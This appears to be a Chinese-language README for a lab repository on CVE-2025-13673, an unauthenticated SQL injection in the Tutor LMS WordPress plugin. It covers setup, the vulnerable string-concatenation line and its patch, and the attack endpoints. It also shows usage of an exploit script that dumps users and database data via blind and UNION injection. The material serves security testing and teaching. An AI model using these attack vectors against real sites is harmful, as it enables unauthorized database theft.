CVE-2025-13673 — Tutor LMS SQL注入实验环境

未认证的SQL注入漏洞存在于Tutor LMS WordPress插件（<= 3.9.6）的coupon_code参数中。

快速开始

# 1. 克隆并启动实验环境
git clone https://github.com/dinosn/CVE-2025-13673.git
cd CVE-2025-13673
./setup.sh            # 部署WordPress + Tutor LMS 3.9.3

# 2. 运行利用脚本
pip install requests   # 唯一依赖

# 未认证（基于时间的盲注 —— 无需凭据）
python3 exploit.py http://localhost:8080

# 已认证（基于UNION —— 即时提取）
python3 exploit.py http://localhost:8080 -u testuser -p test123 --all

漏洞详情

字段	值
CVE	CVE-2025-13673
受影响版本	Tutor LMS <= 3.9.6
修复版本	3.9.7
类型	SQL注入（CWE-89）
CVSS	7.5 / 9.3
认证要求	无（盲注） / 订阅者（UNION）

根因

QueryHelper::prepare_where_clause() 通过原始字符串拼接构建SQL WHERE子句：

// helpers/QueryHelper.php — 存在漏洞
$value = is_numeric( $value ) ? $value : "'" . $value . "'";

未进行转义。单引号即可跳出字面值，允许任意SQL注入。

攻击向量

未认证： POST / 携带 tutor_action=tutor_pay_now。WordPress的 init 钩子对所有访客触发该请求。_tutor_nonce 嵌入在每个前端页面中，且对匿名会话有效。可通过 SLEEP() 进行数据提取。

订阅者及以上： POST /wp-admin/admin-ajax.php 携带 action=tutor_apply_coupon。返回包含注入的UNION SELECT数据的JSON —— 响应中反射的两个列用于即时提取。

补丁（3.9.7）

- $val = is_numeric( $val ) ? $val : "'" . $val . "'";
+ // 值现在通过 $wpdb->prepare('%s', $value) 处理

利用脚本用法

usage: exploit.py [-h] [-u USERNAME] [-p PASSWORD] [--course-id COURSE_ID]
                  [--dump-users] [--db-info] [--options] [--all]
                  [--delay DELAY]
                  url

模式：
  默认（无 -u/-p）：未认证的基于时间的盲注SQLi
  带 -u/-p：已认证的基于UNION的注入（快速）

示例：
  exploit.py http://target                            # 未认证盲注
  exploit.py http://target -u student -p pass --all   # 已认证UNION

测试不同版本

# 测试版本3.9.5（存在esc_sql部分缓解措施）
./setup.sh 3.9.5

# 测试版本3.9.7（应已修复）
./setup.sh 3.9.7

文件

文件	描述
`exploit.py`	双模式PoC：未认证盲注 + 已认证UNION
`setup.sh`	一键部署实验环境
`docker-compose.yml`	WordPress 6.7 + MySQL 8.0

参考

免责声明

仅用于授权的安全测试和教育目的。